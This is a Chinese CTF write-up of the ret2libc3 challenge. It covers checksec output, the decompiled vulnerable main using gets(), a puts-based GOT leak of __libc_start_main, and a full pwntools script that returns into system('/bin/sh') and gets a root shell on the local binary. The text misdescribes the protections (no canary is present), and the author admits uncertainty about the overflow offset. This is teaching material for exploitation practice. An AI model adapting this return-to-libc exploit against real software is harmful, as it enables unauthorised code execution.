保护等级
首先检查保护等级:
1
2
3
4
5
6
7
| $ checksec ret2libc3
[*] '/mnt/d/program/ctf/ctf-wiki/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
|
可以看到这是一个开启了部分只读和栈溢出保护的程序。
程序逻辑
在 Ida Pro
中打开即可看到 main
函数的伪代码:
1
2
3
4
5
6
7
8
9
10
11
| int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}
|
可见这是一个相当明显的栈溢出。0x64
个字节就能覆盖到原 EBP
、0x68
就能覆盖到返回地址。
利用
查找字符串和 system
函数之后发现都没找到。那么我们如何得到 system 函数的地址呢?
那么如何得到 libc
中的某个函数的地址呢?
- 我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。
- 当然,由于
libc
的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,通常选取的函数是 __libc_start_main
,这是因为它是程序最初被执行的地方。
PostScript: 关于 PLT
表与 GOT
表的关系可以参考 LIEF
leak_libc_main
我们将控制 main
函数溢出后,其栈帧形成下面的形式:
1
2
3
4
5
6
7
8
9
10
11
12
| +----------------+
| |
0x64 | local variable |-----> 'A'*0x64
| |
+----------------+
0x4 | previous $ebp |-----> 'A'* 0x4
+----------------+
0x4 | return address |-----> "puts" address
+----------------+
------> "main" address
------> .got.plt:"__start_libc_main"
|
实际上执行的是这样一个函数 puts("__start_libc_main")
。
get_shell
因为上面的的栈帧控制,我们可以再执行一次 main
函数,经过之前的泄露我们可以得到 libc
的加载基地址,因此可以得到 system
的地址,从而可以执行系统调用拿到 shell
:
1
2
3
4
5
6
7
8
9
10
11
12
| +----------------+
| |
0x64 | local variable ------> 'A'*0x64
| |
+----------------+
0x4 | previous $ebp ------> 'A'* 0x4
+----------------+
0x4 | return address ------> "system" address
+----------------+
------> 'A'* 0x4
------> "/bin/sh" address
|
实际上执行的是这样一个函数 system("/bin/sh")
。
脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
| #!/usr/bin/env python2
# coding=utf-8
from pwn import *
class Challenge:
libc_main_addr = 0x1AA50
libc_system_addr = 0x3E9E0
libc_binsh_addr = 0x17EAAA
def __init__(self):
self.p = process(["./ret2libc3"])
self.elf = ELF("./ret2libc3")
def leak_libc_main(self):
puts_addr = self.elf.plt["puts"]
libc_main_addr = self.elf.got["__libc_start_main"]
main_symbol = self.elf.symbols["main"]
# todo 我也不知道为什么是 0x70 的偏移,按反汇编结果应该是 0x68 才对。栈结构:
# _puts 地址(第一次 main 返回地址)==>_puts 返回地址(第二次 main 地址)==>_puts 参数(got["libc_main"])
payload = flat(['A' * (0x6c + 0x4), puts_addr, main_symbol, libc_main_addr])
self.p.recvuntil("Can you find it !?")
self.p.sendline(payload)
self.leak_main_addr = u32(self.p.recv()[:4])
print("__libc_start_main: %s" % hex(self.libc_main_addr))
def get_libc_offset(self):
self.libc_base = self.leak_main_addr - self.libc_main_addr
print("libc offset: %s" % hex(self.libc_base))
def get_shell(self):
system_addr = self.libc_base + self.libc_system_addr
bin_sh_addr = self.libc_base + self.libc_binsh_addr
payload = flat(["A" * (0x64 + 0x4), system_addr, "A" * 0x4, bin_sh_addr])
self.p.sendline(payload)
self.p.interactive()
def pwn(self):
self.leak_libc_main()
self.get_libc_offset()
self.get_shell()
self.p.wait_for_close()
if __name__ == "__main__":
c = Challenge()
c.pwn()
|
执行结果:
1
2
3
4
5
6
7
8
9
10
11
12
13
| $ python exp.py
[+] Starting local process './ret2libc3': pid 6456
[*] '/tmp/pycharm_project_477/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
__libc_start_main: 0x1aa50
libc offset: 0xf7d55000
[*] Switching to interactive mode
$ whoami
root
|